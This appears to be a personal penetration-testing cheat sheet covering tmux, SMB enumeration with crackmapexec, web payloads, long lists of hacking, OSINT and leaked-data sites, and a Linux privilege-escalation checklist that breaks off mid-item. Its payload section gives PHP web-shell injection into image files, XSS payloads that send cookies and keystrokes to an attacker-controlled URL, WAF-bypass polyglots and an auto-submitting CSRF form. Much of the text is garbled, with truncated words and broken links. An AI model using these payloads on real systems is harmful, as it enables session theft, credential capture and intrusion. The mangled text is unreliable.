| Action | Command / Keybind | Notes | |---------------------------------|-------------------------------------------|-------------------------------------------------------| | 🆕 Create new session |tmux new -s <name>| Start a new tmux session | | 📋 List all sessions |tmux ls| View running sessions | | 🔄 Attach to a session |tmux attach -t <name>| Reconnect to a session | | 🛑 Detach from session |Ctrl + B, then D| Keep session running in background | | ❌ Kill a session |tmux kill-session -t <name>| Permanently stop a session | | ➕ New window |Ctrl + B, then C| Like a tab inside a session | | ↔ Switch between windows |Ctrl + B, then N (next) or P(prev) | Na between tmux windows | | 🔢 Go to window by number |Ctrl + B, then number (e.g. 1) | Fast switch to a specific window | | ✏️ Rename window |Ctrl + B, then ,| Rename current window | | 🔁 Reload config file |tmux source-file ~/.tmux.conf| After editing your config | | 💥 Close window |exit or Ctrl + D| Exit the current window | | 🔍 Search scrollback buffer |Ctrl + B, then / | Use n/Nto mo results | | 📜 Enter scroll mode |Ctrl + B, then [ | Na output, quit with q| | 📋 Start copy mode |Ctrl + B, then [ → Space → Enter| Select text to copy (depends on config) | | 🪟 Split window (horizontally) |Ctrl + B, then "| Pane abo | | 🪟 Split window () |Ctrl + B, then %| Pane left/right | | ⬆ Na panes |Ctrl + B, then arrow key | Mo split panes | | 🔄 Swap panes |Ctrl + B, then { or }| Change pane position | | 🛠 Resize pane |Ctrl + B, then hold Ctrl + Arrow | Depends on your terminal config |

---

💡 Tips:

Use tmux new -s recon to start recon tools and come back anytime.

Want auto-reconnect? Combine tmux with SSH aliases in your .bashrc.


You can ha tmux sessions per server for different tasks (recon, fuzzing, analysis).
<h3 id='n1.25'> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<ins>crackmapexec</ins></h3>
<ol>
	<li>Start recon. (Attencion to the  <code>(SMBv1:True)</code>)</li>
		<pre><code>crackmapexec smb [IP]</code></pre>
	<li>Check if a NULL session (anonymous login) is possible</li>
		<pre><code>crackmapexec smb [IP] -u '' -p '' --users</code></pre>
	<li>Check the Guest account is enabled and try accessing it without credentials to enumerate a shares</li>
		<pre><code>crackmapexec smb [IP] -u guest -p '' --shares</code></pre>
	<li>Try to spider the custom share (Devs)</li>
		<pre><code>crackmapexec smb [IP] -u "john" -p 'password' --spider De .</code></pre>
	<li>Specify the De and download the files</li>
		<pre><code>crackmapexec smb [IP] -u "john" -p 'password' --share De [FILENAME] [LOCAL-FILENAME]</code></pre>
</ol>
<h3 id='n1.26'> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<ins>Pipelines</ins></h3>
<ol>
	<li>Recon</li>
	<pre><code>subfinder -d domain.com - silent | httpx -silent | katana -f ufile</code></pre>
</ol>
<h3 align='right'><a href='#start'> <-- Back </a></h3>

<h2 align='center' id='n2'><em>Payloads</em></h2> <li><a href='#n2.1'>LFI and File Upload Linux and Windwos Payloads</a></li> <li><a href='#n2.2'>XSS Payloads</a></li> <li><a href='#n2.3'>CSRF</a></li> <li><a href='#n2.4'>Chains</a></li> <li><a href='#n2.5'>Server Side Template Injection</a></li> <li><a href='#n2.6'>CRLF</a></li> <li><a href='#n2.7'>SSRF</a></li> <h3 id='n2.1'>       LFI Payloads</h3> <ul> <li><a href=' Linux</a></li> <li><a href=' Windows</a></li> <li>%0a to bypass regex rules:</li> <pre><code> <li>DotDotPwn can help with testing (<code>sudo apt install dotdotpwn</code>)</li> </ul> <h3'>       File Upload Bypassing</h3> <ul> <li>Magic Bytes: <ul> <li>PNG - <code>89 50 4E 47 0D 0A 1A 0A</code></li> <li>JPEG - <code>FF D8 FF</code></li> <li>GIF (FIG87a) - <code>47 49 46 38 39 61</code></li> </ul> <li>Upload normal image file and intersept the request and try:</li> <ul> <li>Change file extension to php5 and the same</li> <li>Double extionsion</li> <li>Null Byte</li> <li>Change Content-Type</li> </ul> <li>Injecting through EXIF Data:</li> <pre><code>exiftool -comment="<?php system($_GET['cmd'])>" file.png</code></pre> <li>Raw Insertion</li> <pre><code>echo "<?php system($_GET['cmd'])>" >> file.jpeg</code></pre> <li>LFI via XSS</li> <pre><code><img src="lfi-" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/></code></pre> </ul> <h3 id='n2.2'>       XSS Payloads </h3> <a href=' Suggest payloads too <ol> <li> <b>Proof Of Concept (PoC):</b> <pre><code><scRIPt>alert('Success XSS!');</sCriPt></code></pre> <pre><code>print()</code></pre> <pre><code>prompt()</code></pre> <pre><code><img src=x onerror=alert()></code></pre> <pre><code><img src=x onerror="window.location.href=' <pre><code><s=confirm("document.cookie")></code></pre> <pre><code><script> window.location = ' + document.cookie; </script> </code></pre> Like above, but only request without redirect <pre><code><img src=" + document.cookie> </code></pre> <li> XSS -> LFI <pre><code><script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script></code></pre> <li> This is the simplest of payloads where all you want to do is demonstrate that you can achieve XSS on a website. <p><b> Session Stealing </b> - <pre><code> <script>fetch('url/steal?cookie=' + btoa(document.cookie));</script> </code></pre> <p> Details of a user's session, such as login tokens, are often kept in cookies on the targets machine. The below Ja takes the target's cookie, base64 encodes the cookie to ensure successful transmission and then posts it to a website under the hacker's control to be logged. Once the hacker has these cookies, they can take over the target's session and be logged as that user. <p><b> Key Logger </b> - <pre><code> <scripr>document.onkeypress = function(('url/log?key=' + btoa(v.key));}</script> </code></pre> <p>The below code acts as a key logger. This means anything you type on the webpage will be forwarded to a website under the hacker's control. This could be very damaging if the website the payload was installed on accepted user logins or credit card details. <p><b> Business Logic </b> - <pre><code> <script>user.changeEmail('');</script> </code></pre> <p> This payload is a lot more specific than the abo. This would be about calling a particular network resource or a Ja function. For example, imagine a Ja function for changing the user's email address called user.changeEmail(). <p><b> Polyglots </b> - <pre><code> ja:/*-/*/*\/*'/*"/**/(/* */onerror=alert('Success XSS!'))//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<s=alert('Success XSS!')//>\x3e </code></pre> <p> An XSS polyglot is a string of text which can escape attributes, tags and bypass filters all in one. You could have used the below polyglot on all six levels you've just completed, and it would ha the code successfully. <li>XSS Bypass WAF: <pre><code><details%0Aopen%0AonToGgle%0A=%0Aabc=(co\u006efirm);abc%28%60xss%60%26%00000000041//</code></pre> <li>Try to download to bypass shielding file with name like: <pre><code><img src=1 onerror=alert()>.png</code></pre> <li>XSS through SVG file: <pre><code> <?xml ="1.0" standalone="no"?> <!DOCTYPE s "-//W3C//DTD SVG 1.1//EN" "www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <s="1.1" baseProfile="full" xmlns=""www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/ja"> alert(document.domain); </script> </svg> </code></pre> <li>XSS through metadata <p>Set header to <code>Content-Type: text/html</code> <pre><code>exiftool file.jpeg -Comment='<script>alert(1)</script>'</code></pre> <li>Tips for exploit: <ul> <li>try to upload a file (image, svg, html) that contains xss payload inside </ul> <li> Description of XSS payloads <a href=' </ol> <h3 id='n2.3'>       CSRF </h3> <p>Google CSRF POC and user online tools for make CSRF POC and upgrade with tips below</p> <p>For example, <a href=' - CSRF PoC Generator</p> <li> Temple for payload: <pre><code> <html> <body> <form id="csrfForm" action=" method="POST"> <input type="hidden" name="email" value="" /> <input type="hidden" name="csrf" value="YOUR_CSRF" /> </form> <img src=" onerror="document.forms[0].submit();" /> </body> </html> </code></pre> <li> To avoid sending the referrer header: <pre><code><meta name="referrer" content="never"></code></pre> <li> To send malicious request automatic: <pre><code><script> window.onload = function() { document.getElementById('csrfForm').submit(); }; </script></code></pre>

<h3 id='n2.4'>       Chains </h3> <li>Redirect bypasses for Open Redirect & SSRF! <pre><code>?u=example2\.com ❎ ?u=example\.com\.com ✅</code></pre>

<h3 id='n2.5'>      SSTI</h3> <ul> <li>Polyglot: <pre><code>${{<%[%'"}}%\</code></pre> </ul>

<h3 id='n2.6'>      CRLF</h3> <code>%0D%0A</code> <ul> <li>%0D - CR (Carriage Return)</li> <li>%0A - LF (Line Feed)</li> </ul>

<h3 id='n2.7'>      SSRF</h3> <ul> <li><a href=' Help with ip payloads</li> </ul>

<h3 align='right'><a href='#start'> <-- Back </a></h3>

<h2 align='center' id='n3'><em>Sites</em></h2> <h3>       Someone main </h3> <li><a href=' - must have!!! PrivEsc, brute force, pentest network and wifi, metodologies cheatsheets and much more</li> <li><a href=' HackTricks</a></li> <li><a href=' E</li> <li><a href=' notes</a></li> <li><a href=' bins. How to escalqte privs, how to get shells and much more with binary in target system</li> <li><a href=' Help with Windows</li> <li><a href=' DB of shell-codes</li> <li><a href=' Help with AD</li> <li><a href=' with explotation vulns</li> <li><a href=' engine bug bounty</a>. Help with vulns scanning</li> <li><a href=' Like a Burp Collaborator</li> <h3>       Cheat sheets, hints </h3> <li><a href=' scripting</a></li> <li><a href=' pump nc shell</li> <li><a href=' <li><a href=' cheatsheet</li> <li><a href=" tips and tricks</li> <li><a href=' Pentesting Cheatsheets. Con commands for your pentesting / red-teaming engagements, OSCP and CTFs</li> <li><a href=' <a href=' and <a href=' can help with ports</li> <li><a href=' Shell</a> cheatsheet</li> <li><a href=' Great Vim</a> Cheat Sheet</li> <li><a href=' cheatsheet</li> <li>Another one <a href=' cheatsheet</li> <li><a href=' Command Generator</li> <li><a href=' Help with xss payloads</li> <h3>       CVE and db </h3> <li><a href=' C 3.0</li> <li><a href=' <li><a href=' db</li> <li><a href=' search </li> <li><a href=' db of Common and Exposures</li> <li><a href=' Codes Database (WordPress plugins)</li> <li><a href=' database</li> <li><a href=' exploit db</li> <li><a href=' db</li> <li><a href=' platform for control and Threat analysis</li> <li><a href=' db. Need tor</li> <li><a href=' db</li> <h3>       Dorks</h3> <li><a href=' <li><a href=' examples for Bug Bounty</li> <li><a href=' <li><a href=' Custom Creator Search Dork</li> <li><a href=' <li><a href=' helper</a></li> <li><a href=' dorks helper</a></li> <h3>       Hashes, encode/decode, cracker, identify </h3> <li><a href=' - online password hash cracker</li> <li><a href=' Many options for encode/decode </li> <li><a href=' encode/decode</li> <li><a href=' Identity and crack hashes</li> <li><a href=' - encode/decode service</li> <li><a href=' Session Cookie Decoder </a></li> <li><a href=' Help with NTLM hashes</li> <li><a href=' calculator</li> <li><a href=' cipher</a> cracker</li> <li><a href=' Sol substitution ciphers</a></li> <h3>       Learning Path & Practise </h3> <li><a href=' <li><a href=' <li><a href=' - suitable for security professionals looking to acquire offensi, or system administrators interested in enhancing their defensi</li> <li><a href=' A free, fun platform for learning modern cryptography</li> <li><a href=' <li><a href=' <li><a href=' Swigger</a></li> <li><a href=' Сourses explaining </li> <li><a href=' Free, Real-World‍ API Security Training</li> <li><a href=' Help with git in play mode</li> <li><a href=' - a free website with wargames to test and improve your white hat hacking skills. It offers a of hacking challenges in several categories, ncluding basic tasks, fricking, Ja, forensics, steganography, and more</li> <li><a href=' - serves up Fresh Hacks Every Day from around the Internet</li> <li><a href=' CTF practice</li> <li><a href=' - buggy web application. pentest laboratory to practice</li> <li>Free <a href=' of practice tasks. Thanks to <a href=' TheXSSrat </a></li> <li><a href=' - uitable for anyone looking to learn the theory of information security and apply it in practice regardless of their experience level</li> <li><a href=' - provides CTF challenges for the European Cyber Security Challenge, but they also host regular competitions on their platform that anyone can participate in</li> <li><a href=' - this platform focuses on pwn challenges similar to CTF, which invol, reading, and submitting flag files that are present in each task</li> <li><a href=' - an educational platform with a of tasks in different categories, including hacking, wargames, forensics, cryptography, steganography, and programming. The platform aims to provide realistic challenges. Depending on the difficulty of the solved task, you earn points. There is also a forum where you can discuss and sol with other participants</li> <li> <a href=' - consists of 7 different wargames: Amateria, Apfel (currently offline), Blackbox, Blowfish, CTF (currently offline), Logic, and Tux. Each wargame contains a of tasks ranging from standard to reverse engineering challenges</li> <li><a href=' - is a CTF where you need to "reverse" fictional electronic locking devices called Lockitall. Lockitall devices protect bonds stored in warehouses owned by the fictional company CyYombinator. On the way to stealing the bonds, you will learn about assembly language, how to use a debugger, step through code, set breakpoints, and explore memory</li> <li><a href=' platform pwn0</a> - is a almost anything can happen. Fight against bots or users and earn points by gaining control o systems</li> <h3>       MSFVenom help </h3> <li><a href=' <li><a href=' Sheet</a></li> <h3>       OSINT and Information Gathering </h3> <li><a href=' Framework</a>Aggregation of all popular tools and resources for OSINT</li> <li><a href=' of sites history</li> <li><a href=' <li><a href=' street</a></li> <li><a href=' <li><a href=' Check target site headers</li> <li><a href=' <li><a href=' Passi like shodan</li> <li><a href=' Discover, scan and monitor any online assets</li> <li><a href=' Search engine woth leak from darkweb resourses</li> <li><a href=' for passive and fast search domains and subdomains and etc</li> <li><a href=' Free, complex, power tool for research web. Collect ssl info, ip addreses, headers, cookies, some info about techs and etc</li> <li><a href=' In just 20 seconds, you can see what attackers already know</li> <li><a href=' I been pwned</a>. Emails leak</li> <li><a href=' source of emails leak</li> <li><a href=' This is an online service for determining the physical address of the location depicted in a photograph</li> <li><a href=' Alert</a>. Notifies you when the specified information appears on the Internet</li> <li><a href=' Offers reverse IP Lookup</li> <li><a href=' Netcraft.</a> Information about domain. Temple of searching: <pre><code> <li><a href=' is the world's first search engine for Internet-connected devices</li> <li><a href=' Scanner of headers security</li> <li><a href=' Scanner of headers security</li> <li><a href=' is a system that gathers all a information about companies and extracts data from it</li> <li><a href=' Search</a> Can provide a lot of information about IP addresses and domains</li> <li><a href=' Whois like tool. Techs, servers, ips, dns configuration and another info about target</li> <li><a href=' SSL/TLS-certificates issued for domain names</li> <li> Metasearch Engine: <ol> <li><a href=' Finder</a> - is an excellent source of information. You enter a query, then click on the desired source. Then you are redirected to the relevant page. The most important thing is that it shows how many sources there can be and how diverse they can be: from the Library of Congress website to leak publication services</li> <li><a href=' X</a> - it not only searches for leaks but also helps na other OSINT tools. Services for email , DNS search - you'll find them here too. Go to the Tools section and search specifically</li> </ol> <li> Tools for people search by photo:</li> <ol> <li><a href=' Catfish</a> - is the perfect facial recognition search engine that can search for people by face, name, email, address, and username</li> <li><a href=' - is a database used for identifying people and pro accurate information about them. It is constantly updated and boasts over 6 million consumers, 130 million property records, 600 million legal records, and over 120 social networks, making it an ideal people search system for personal and business use</li> <li><a href=' Image Search</a> - uses the powerful Google Bot to scan all publicly accessible websites for images to create the largest and most frequently updated image database in the world</li> <li><a href=' - is one of the best facial recognition search engine tools that allows you to perform in-depth image searches on the internet. Ad con neural networks analyze the image you upload to find objects and match them with the database</li> <li><a href=' - is one of the best reverse image search tools for facial recognition. You can use it to search for images of a specific person. It identifies faces in the photo you upload, and then finds similar faces in social media posts, online , fraudulent accounts, websites, news and blog pages, as well as in product marketing</li> </ol> <h3>      Password Services</h3> <li><a href=' <li><a href=' Default Passwords service</li> <li><a href=' Default Passwords service</li> <li><a href=' Default Passwords service</li> <li><a href=' another one default passwords service</li> <li><a href=' wiki page includes the most well-known collections of passwords</li> <li><a href=' is a collection of password lists for purposes from penetration testing to improving password security</li> <h3>       Dashboards for Cyber Threat Monitoring </h3> <li><a href=' A colorful globe designed in the best traditions of Hollywood hacker movies. Its real value lies not in its design but in the informati with statistics collected from the company's security products. Additionally, Kaspersky Lab supports a dashboard with information on current threats, located <a href=' <li><a href=' Map</a>. Here, you can view summary statistics on cyberattacks over the last hour, day, or month, as well as highlight the most targeted countries, top attack , and most scanned ports</li> <li><a href=' Reputation Center</a>. A dashboard with general information on cyber threats, created by Talos with support from Cisco</li> <li><a href=' Attack Map</a>. A map featuring the top spam and malware-spreading servers</li> <li><a href=' A cyberattack dashboard from Deutsche Telekom, which operates on the open-source honeypot network: <a href=' T-Pot</a></li> <h3>       Other </h3> <li><a href=' Check fingerprint</li> <li><a href=' Like from above</li> <li><a href=' Helps with Blind XSS</li> <li><a href=' Shared online fuzzing</li> <h3>     Leaked data</h3> <li><a href=' - WhiteDate, Leaked.</li>

<h3 align='right'><a href='#start'> <-- Back </a></h3>

<h2 align='center' id='n4'><em> Tools </em></h2> <ol> <li><a href='#n4.1'>GitHub Tools</a> <li><a href='#n4.2'>Browsers extensions</a>. Note: Chrome extensions also work with <a href=' <li><a href='#n4.3'>Burp Suite Extensions</a> <li><a href='#n4.4'>Kali Tools</a> <li><a href='#n4.5'>Platforms for hacking and pentesting</a> <li><a href='#n4.6'>Another tools</a></li> </ol> <h3 id='n4.1'>       <ins>GitHub Tools</ins></h3> My GitHub <a href=' where I categorized github tools. <p> 👇Some of the most awesome tools (IHMO)👇 <ol> <li><a href='#n4.1.1'>BruteForce & Wordlists </a> <li><a href='#n4.1.2'>Enumiration </a> <li><a href='#n4.1.3'>OSINT </a> <li><a href='#n4.1.4'>Payloads </a> <li><a href='#n4.1.5'>Pri Escalation </a> <li><a href='#n4.1.6'>Social Engineering </a> <li><a href='#n4.1.7'>Looking for exploits and </a> <li><a href='#n4.1.8'>Another </a> </ol> <ol> <li><h3 id='n4.1.1'>BruteForce and Wordlists</h3> <ul> <li><a href=' Acti </a> Wordlists contains User.txt and Pass.txt <li><a href=' BruteForce </a> Database <li><a href=' YAWR</a>. Yet Another Wordlists Repo. Contains OS,RECON,WEB,brute folders <li><a href=' Crunch </a> <p> This is one of many powerful tools for creating an offline wordlist. With crunch, you can specify numerous options, including min, max, and options. The following example creates a wordlist containing all possible combinations of 3 characters, including 1-5 and qwerty. You can use the -o argument to save. <p>Example: <pre><code> crunch 3 3 12345qwerty -o cranch.txt </code></pre> <li> Top wordlists by <a href=' DanielMiessler </a> <li><a href=' DNS </a> asynchronous bruteforce <li><a href=' Tool </a> for hash identification. <p> Python file. Powerful. User friendly interface. <li><a href=' Kerberos </a> bruteforcing <li><a href=' Username generator </a> <p> Could help create a list with most of the possible combinations if we have a first name and last name. Use git clone and <p> <pre><code> python3 username_generator.py -h </code></pre> shows the tool's help message and optional arguments. <li><a href=' Wordlists </a> by kkrypt0nn. A collection of wordlists for many different usages </ul> <li><h3 id='n4.1.2'> Enumiration </h3> <ul> <li><a href=' is an automation tool designed to enumerate subdomains of the target and detect bugs using different open-source tools <li><a href=' Tool for Acti Certificate Services enumeration and abuse <li><a href=' </a> <li><a href=' </a> <li><a href=' - subdomain scanner <li><a href=' smart enumiration <li><a href=' Subdomains enumiration python tool </ul> <li><h3 id='n4.1.3'> OSINT </h3> <ul> <li><a href=' Fast Google Dorks Scan </a> <li><a href=' h8mail </a> is an email OSINT and breach hunting tool <li><a href=' theHar</a>. E-mails, subdomains and names Har </ul> <li><h3 id='n4.1.4'> Payloads </h3> <ul> <li><a href=' All </a> kind of payloads and bypasses <li><a href=' Payloads </a> for Unix and Windows OS <li><a href=' XSS-LOADER</a>. All in one tools for XSS PAYLOAD GENERATOR -XSS SCANNER-XSS DORK FINDER <li><a href=' XSS </a> payloads </ul> <li><h3 id='n4.1.5'> Pri Escalation </h3> <ul> <li><a href=' Pri Escalation </a> (LinPEAS & WinPEAS) <li><a href=' Enumy</a>. Linux post exploitation pri escalation enumeration <li><a href=' Linux </a> PrivEsc Check Script <li><a href=' Linux PrivEsc </a> <li><a href=' Mimikatz</a>. Windows PrivEsc <li><a href=' Postenum </a> is a Linux enumeration and pri escalation tool <li><a href=' RougeWinRM</a>. Win PrivEsc </ul> <li><h3 id='n4.1.6'> Social Engineering </h3> <ul> <li><a href=' Awesome </a> social engineering resources <li><a href=' SET</a>. Social Engineer Toolkit </ul> <li><h3 id='n4.1.7'> Looking for exploits and </h3> <ul> <li><a href=' Searchsploit</a> - provides direct access to the Exploit Database from the Kali Linux terminal. Users can utilize powerful search commands to quickly disco and . This tool is an indispensable assistant for security professionals working in the Kali Linux en <li><a href=' getsploit</a> - combines the functionality of searchsploit with the ability to download exploits. It allows users to conduct online searches across databases such as Exploit-DB, Metasploit, and Packetstorm. Additionally, it provides the capability to download exploit source code directly, making the search and retrieval of necessary data for pentesting simple and effective <li><a href=' CVEMap</a> - a tool from Projectdiscovery designed for quick and con searching across all known databases <li><a href=' Pompem</a> - a tool pre-installed in Parrot OS, automates the process of searching for exploits and . It uses an ad search system to check databases such as PacketStorm Security, CXSecurity, ZeroDay, , and NVD <li><a href=' SiCat</a> - stands out for its comprehensi to exploit searching. It adeptly extracts information about exploits from open sources and local repositories </ul> <li><h3 id='n4.1.8'> Another </h3> <ul> <li><a href=' Wapiti</a>. Web scanner <li><a href=' Bearer</a>. Scans source code against top security and privacy risks <li><a href=' CrackMapExec</a>. A swiss army knife for pentesting networks <li><a href=' BloodHound</a>. Six Degrees of Domain Admin <li><a href=' Cewl </a> can be used to effectively crawl a website and extract strings or keywords. Cewl is a powerful tool to generate a wordlist specific to a gi or target. Consider the following example below: <pre><code> cewl -w list.txt -d 5 -m 5 </code></pre> <p> -w will write the contents to a file, here is list.txt. <p> -m 5 gathers strings (words) that are 5 characters or more <p> -d 5 is the depth level of web crawling/spidering (default 2) <p> is the URL that will be used <p> As a result, now have a decently sized wordlist based on relevant words for the specific enterprise, like names, locations, and a lot of their business lingo. Similarly, the wordlist that was created could be used to fuzz for usernames. <li><a href=' Hexeditor </a> <p> Tools for change files signature. <a href=' Link </a> to Wiki with List of file signatures. <li><a href=' Lynis</a>. Check Linux security <li><a href=' Pspy</a>. Great for enumeration of Linux systems in CTFs and more. <li><a href=' Hash Identifier </a>. Python file. Powerful. User friendly interface. </ul> </ol> <h3 id='n4.2'>       <ins>Browser extensions</ins></h3> <ul> <li><a href=' (<a href=' | <a href=') - Defines CMS, JS-libraries, frameworks and another technologies used on the site</li> <li>WhatRuns (<a href=' | <a href=') - Discover what runs a website</li> <li>Foxy Proxy (<a href=' | <a href=') - Fast change proxy, for example, use with Burp Suite</li> <li>Rested (<a href=') - Quick request sender. Usefull with API</li> <li>Manus AI (<a href=') - browser operator</li> <li>BOLT 2.0 (<a href=' | <a href=') - Discover APIs from browser traffic and auto-generate OpenAPI specs.</li> <li>Altair (<a href=' | <a href=') - help with GraphQL requests</li> <li>HackTools (<a href=' | <a href=') - is a web extension facilitating your web application penetration tests, it includes cheat sheets as well as all the tools used during a test such as XSS payloads, Reverse shells to test your web application</li> <li>Cookie Editor (<a href=' | <a href=') - Allows you to change, delete, add cookie for testing purposes. Can be tested for access control errors, pri escalation, etc</li> <li>Cookies and HTTP Headers analyser (<a href=') - This extension analyses, according to OWASP guidelines, the cookies and the headers in the active tab.</li> <li>Hackbar (<a href=' | <a href=') - Contains payloads for XSS attacks, SQL injections, WAF bypass, LFI, etc</li> <li>ModHeader (<a href=' | <a href=') - Helps to easily change HTTP request and response headers in the browser</li> <li>User-Agent Switcher (<a href=' | <a href=')</li> <li>Wayback Machine (<a href=' | <a href=') - Official Internet Archi Machine Browser Extension. Non official for <a href=' <li>EndPointer (<a href=' | <a href=') - It parses and extracts endpoints from web applications, pro a comprehensive view of an application's API structure</li> <li><a href=' Multi-Account Containers</a>. Lets you keep parts of your online life separated into color-coded tabs. <li>Beautifer & Minify (<a href=' | <a href=') - Brings readable CSS, HTML and Ja code</li> <li>BuiltWith (<a href=' | <a href=') - Get web app technologies</li> <li>DotGit (<a href=' | <a href=') - An extension to check for the presence of .git on websites you visit. Also checks open .en, security.txt and more</li> <li>Email Extractor (<a href=' | <a href=') - Automatically sa addresses from the web pages visit. Helps with social engineering attacks, brute force attacks, etc</li> <li>Exif- (<a href=' | <a href=') - Help to check photo metadata</li> <li>Fake Filler (<a href=' | <a href=') - Simplifies and speeds up testing of fillable forms by de and testers. Helps to populate all input forms (text fields, areas, dropdowns, etc.) with fake and randomly generated data</li> <li>Knoxss (<a href=') - Finds XSS . Community Edition and Pro </li> <li>Nimbus Screenshot (<a href=' | <a href=') - To make screenshot</li> <li>Privicy Badger (<a href=' | <a href=') - utomatically learns to block in trackers</li> <li>Temp Mail (<a href=') - Temporary disposable email address. Protect your email from spam, bots and phishing with Temp-Mail</li> <li>Retire.js (<a href=' | <a href=') - Displays the resence of Ja libraries. This helps to find known in JS and some C sites with JS libraries</li> <li>Shodan (<a href=' | <a href=') - The Shodan plugin tells you where the website is hosted (country, city), who owns the IP and what other services/ ports are open</li> <li>Ublock Origin (<a href=' | <a href=') - An efficient wide-spectrum content blocker</li> <li>Chaff (<a href=') - Generate fake traffic</li> <li>TruffleHog Chrome Extension (<a href=' | <a href=') - Scans the websites you visit looking for API keys and credentials and notifies you if they are found</li> <li>OWASP Penetration Testing Kit (<a href=' | <a href=') - help with checks for commin bug</li> <li> Web Scanner (<a href=' | <a href=') - Tiny and passi scanner based on .com database</li> <li>Web De (<a href=' | <a href=') - Adds a toolbar button with web de tools</li> <li>Panic Button (<a href=' | <a href=') - Quickly hide all browser windows with a click of a button</li> </ul> <h3 id='n4.3'>       <ins>Burp Suite Extensions</ins></h3> <ul> <li><a href=' help to detect authorization </li> <li><a href=' allows ad filters to be defined to highlight interesting entries or filter logs to only those which match the filter</li> <li><a href=' enables users to encrypt and decrypt requests and response for manual and automated application penetration testing</li> <li><a href=' Editor</a>. Is a extension or editing, signing, , encrypting and decrypting JSON Web Tokens (JWTs)</li> <li><a href=' Scanner</a> - This extension displays public for applications detected in the traffic proxied by Burp. Essentially, it acts as a layer between Burp and the API of this excellent aggregator</li> <li><a href=' Powered Scanner</a> - Enhances Burp's acti using a no capable of finding and confirming both known and unknown classes of ser injection </li> <li><a href=' Modular HTTP Manipulator</a> - CyberChef integrated in BurpSuite with li of requests at your fingertips</li> <li><a href=' - A tool that integrates Burp Suite with SQLMap using the SQLMap API to check for SQL injection </li> <li><a href=' Scan++</a> - Expands the range of checks performed by the active and passi. It identifies such as cache poisoning, DNS rebinding, injections, and also performs additional checks to detect XXE injections and more</li> <li><a href=' Intruder</a> - A faster alternative to Intruder equipped with a scriptable engine for sending a large number of HTTP requests and analyzing the results. Useful when speed is required</li> <li><a href=' WAF</a> - A tool for bypassing web application firewalls (WAFs)</li> <li><a href=' Link Finder</a> - Helps identify and disco based on Ja in web applications</li> <li><a href=' Bypasser Extension</a> - A tool designed to bypass 403 errors commonly encountered when attempting to access restricted areas of a website</li> <li><a href=' to assist in your GraphQL security testing efforts</li> <li><a href=' Powered Scanner</a>. This extension complements Burp's acti by using a no capable of finding and confirming both known and unknown classes of ser injection </li> <li><a href=' is a tag-based con tool that supports escapes and encodings including HTML5 entities, hex, octal, unicode, url encoding etc</li> <li><a href=' Parser</a>. Extension streamlines the process of assessing web services that use OpenAPI-based APIs</li> <li><a href=' Link Finder</a>. Extension for a passively scanning Ja files for endpoint links. - Export results the text file - Exclude specific 'js' files e.g. jquery, google-analytics (Professional)</li> <li><a href=' Type Con</a>. This extension converts data submitted within requests between common formats:</li> <ul> <li>JSON To XML <li>XML to JSON <li>Body parameters to JSON <li>Body parameters to XML </ul> <li><a href=' miner</a>. Extension identifies hidden, unlinked parameters. It's particularly useful for finding web cache poisoning </li> <li><a href=' Mapper</a>. Is a extension that integrates the Burp Suite request logging with a custom application testing checklist</li> <li><a href=' makes integrating external tools into Burp easier</li> <li><a href=' Extension helps find potential endpoints, parameters, and generate a custom target wordlist.</li> <li><a href=' specializes in advance payload generation and access control assessment</li> </ul> <h3 id='n4.4'>       <ins>Kali Tools</ins></h3> <ol> <li><a href=' That Hash</a> - Instantly name the type of any hash (with hashcat command)</li> <pre><code>name-that-hash --help</code></pre> <li><a href=' - This package identifies and fingerprints Web Application Firewall (WAF) products</li> <pre><code>wafw00f -h</code></pre> <li><a href=' is a website screenshot utility, that uses Chrome Headless to generate screenshots of web interfaces using the command line</li> <li><a href=' is an open source penetration testing tool for command injections</li> </ol> <h3 id='n4.5'>     <ins>Platforms for hacking and pentesting</ins></h3> <ul> <li><a href=' <li><a href=' </ul> <h3 id='n4.6'>     <ins>Another tools</ins></h3> <ul> <li><a href=' Make screenshots with some additional functions like highlighting. <code>apt install flameshot</code></li> </ul>

<h3 align='right'><a href='#start'> <-- Back </a></h3>

<h2 align='center' id='n5'><em> Pri Escalation </em></h2> <h3> ENUMERATION is a key! </h3> <ul> <li><a href='#n5.1'>Linux</a> <li><a href='#n5.2'>Windows</a> </ul> <h3 id='n5.1'>       <ins>Linux</ins> </h3> Checklist <a href=' <a href=' <p>Some advice to Linux Pri Escalation</p> <ol> <li>Check out user are running - <code>whoami</code></li> <li>Check out groups does running user belong to - <code>id</code></li> <li>Check out what is the ser - <code>hostname</code></li> <li>Check out what subnet did land in - <code>ifconfig</code> or <code>ip -a</code></li> <li>Check out kernel ( <code>uname -a</code> ) and OS ( <code>cat /etc/os-release</code> )</li> <li>Check out screen - <code> screen -v</code></li> <li>Check out .ssh folder in <code>/home/<USERNAME>/.ssh</code> or <code>/root/.ssh</code></li> <li>Check out all en <code> env </code></li> <li>Check out login shells exist on the server - <code> cat /etc/shells </code> </li> <li>Check binary capabilities - <code>getcap -r / 2>/dev/null</code></li> <li>Check out Cron Tab:</li> <p><code>ls -la /etc/cron.d</code> <p><code>ls -la /etc/init.d</code> <li>Check out setuid and setgid</li> <p> To find files with sticky bit: <pre><code>find / -perm -u=s -type f 2>/dev/null</code></pre> <pre><code>find / -type f -a $ -perm -u+s -o -perm -g+s $ -exec ls -l {} \; 2> /dev/null</code></pre> <pre><code>find / -perm -4000 2>/dev/null</code></pre> <p> To check out rights <p> <pre><code>ls -la</code></pre> <li>Find world writable files for every users - <code> find / -perm -2 -type f 2>/dev/null </code></li> <li>Check out NOPASSWD sudo command - <code> sudo -l</code></li> <li>Check out PATH - <code>echo $PATH</code></li> <li>Check out the routing table by <code> route </code> or <code> netstat -rn </code></li> <li>Check out arp table - <code> arp -a </code></li> <li>Check out environ:</li> <p><pre><code> cat /proc/self/environ </code></pre> <li>Check out history:</li> <p><code>history</code> <p><code>cat ~/.bash_history</code> <p><code>cat ~/.mysql_history</code> <p><code>cat ~/.nano_history</code> <p><code>cat ~/.php_history</code> <p><code>cat ~/.atftp_history</code> <p><code>cat ~/.*history | less</code> - all history search <li>Check out executable files 